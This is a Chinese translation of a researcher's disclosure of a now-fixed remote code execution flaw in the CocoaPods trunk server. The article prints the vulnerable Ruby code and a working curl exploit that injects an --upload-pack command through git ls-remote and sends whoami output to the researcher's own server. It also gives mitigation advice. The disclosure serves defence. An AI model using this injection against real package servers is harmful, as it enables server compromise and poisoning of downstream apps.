利用 CocoaPods 服务器中的一个 RCE 漏洞，投毒数百万款app

 聚焦源代码安全，网罗国内外最新资讯！

编译：奇安信代码卫士

专栏·供应链安全

数字化时代，软件无处不在。软件如同社会中的“虚拟人”，已经成为支撑社会正常运转的最基本元素之一，软件的安全性问题也正在成为当今社会的根本性、基础性问题。

随着软件产业的快速发展，软件供应链也越发复杂多元，复杂的软件供应链会引入一系列的安全问题，导致信息系统的整体安全防护难度越来越大。近年来，针对软件供应链的安全攻击事件一直呈快速增长态势，造成的危害也越来越严重。

为此，我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯，分析供应链安全风险，提供缓解建议，为供应链安全保驾护航。

注：以往发布的部分供应链安全相关内容，请见文末“推荐阅读”部分。

CocoaPods 是一款流行的包管理器，被很多款 iOS 应用（以及 Swift 和 Objective-C Cocoa 应用程序）使用。本文作者在负责维护 Specs 仓库 （https://trunk.cocoapods.org）密钥CocoaPods 中心服务器中发现了一个远程代码执行漏洞，本可导致攻击者投毒任意程序包下载。目前该漏洞已修复。

引言

我用 Signal iOS app 和朋友们沟通。我是 Signal 的真爱粉，而我对真爱项目的回馈方式之一是尝试从中找出 bug。

浏览该 app 来源时首先吸引我的是 Podfile，它列出了 Signal 的 CocoaPods 依赖关系。我和程序包管理器的渊源颇深，所以首先想到的是尝试从 CocoaPods 服务器中找出bug。如果能找到影响使用 CocoaPods 的所有 app 的 bug，还费力气黑 Signal 干嘛？

漏洞简述

当向 CocoaPods 上传程序包规范时，它会尝试确保我们不会不慎链接到私有库。它会执行如下操作：

def validate_git
  # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
  url = @specification.source[:git]
  return true unless url.include?('github.com') || url.include?('bitbucket.org')


  ref = @specification.source[:tag] ||
    @specification.source[:commit] ||
    @specification.source[:branch] ||
    'HEAD'
  wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end

这样做会带来几个问题。最重要的问题是攻击者对 @specification.source[:git] 和 ref.to_s 具有完全控制，因此可利用它们将标记传递给 git。git ls-remote 选用可选标记 –upload-pack 评估 shell 中的内容。因此，如果 @specification.source[:git] 等于 --ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com，而 ref.to_s 被解释为一个本地仓库，那么我们就可以在 CocoPods 服务器中运行攻击者的命令。

如下是我最终使用的 exploit：

curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'

思考

之后，我思考了 CocoaPods 对这个世界提供的价值多么巨大，单从节约开发人员的时间角度来看就能看到！再看看世界上有多少大型企业都在使用这款软件。再想想安全审计的成本有多高。

对于使用依赖关系管理器的人来说：

• 考虑 vendoring 依赖关系并仔细审计其更新（vendoring 的概念并未有确切定义，可以理解为拷贝一份项目中使用的第三方依赖关系，以防止版本冲突等问题）。

• 你使用的依赖关系管理器中可能存在 bug，如果项目的安全敏感度高，则应该认真仔细地思考这个攻击向量。

对于编写依赖关系管理器的人来说：

如果想确保依赖关系管理器的安全，应当将如下因素作为有毒废弃物：

• 程序包内容

• 版本控制软件

依赖关系管理器服务器通常想暴露关于程序包的某些元数据（有毒废弃物），并经常通过借助某些版本控制软件（有毒废弃物）来实现。最好不要这样做，但如果必须这么做，则应该使用沙箱。

几个月前，我在 proxy.golang.org 中找到了一个 RCE 漏洞，它被暴露于某款易受攻击的版本控制软件。不过由于我无法逃逸它所使用的沙箱而得以完全缓解。

最后，感谢 CocoaPods 维护人员神速修复该漏洞！

---

推荐阅读

库依赖关系和开源供应链带来的噩梦

Codecov后门事件验证分析

微软“照片”应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析

速修复！热门npm 库 netmask 被曝严重的软件供应链漏洞，已存在9年

SolarWinds 供应链事件后，美国考虑实施软件安全评级和标准机制

找到软件供应链的薄弱链条

GitHub谈软件供应链安全及其重要性

揭秘新的供应链攻击：一研究员靠它成功入侵微软、苹果等 35 家科技公司

谷歌Linux基金会等联合推出开源软件签名服务 sigstore，提振软件供应链安全

Linus Torvalds 警告：勿用 Linux 5.12 rc1，担心供应链攻击？

微软和火眼又分别发现SolarWinds 供应链攻击的新后门

找到恶意软件包：Go 语言生态系统中的供应链攻击是怎样的？

拜登签署行政令，要求保护美国关键供应链（含信息技术）的安全

坐火车太无聊，我溜入微软 VS Code官方GitHub仓库，但没敢发动供应链攻击

SolarWinds 供应链攻击中的第四款恶意软件及其它动态

OpenWRT开源项目论坛遭未授权访问，可被用于供应链攻击

FireEye事件新动态：APT 攻击 SolarWinds 全球供应链（详解）

FireEye 红队失窃工具大揭秘之：分析复现SolarWinds RCE 0day (CVE-2020-10148)

FireEye红队失窃工具大揭秘之：分析复现Zoho ManageEngine RCE (CVE-2020-10189)

FireEye 红队失窃工具大揭秘之：分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

FireEye 红队失窃工具大揭秘之：分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

FireEye 红队失窃工具大揭秘之：分析复现 Atlassian RCE (CVE-2019-11580)

Ripple 20：严重漏洞影响全球数十亿IoT设备，复杂软件供应链使修复难上加难

被后爹坑：开源 JavaScript 库沦为摇钱树

速修复！开源企业自动化软件 Apache OFBiz 出现严重的 RCE 漏洞

谷歌提出治理开源软件漏洞的新框架：知悉、预防、修复

开源软件漏洞安全风险分析

开源OS FreeBSD 中 ftpd chroot 本地提权漏洞 (CVE-2020-7468) 的技术分析

集结30+漏洞 exploit，Gitpaste-12 蠕虫影响 Linux 和开源组件等

原文链接

https://justi.cz/security/2021/04/20/cocoapods-rce.html

题图：Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错，就点个 “在看” 或 "赞” 吧~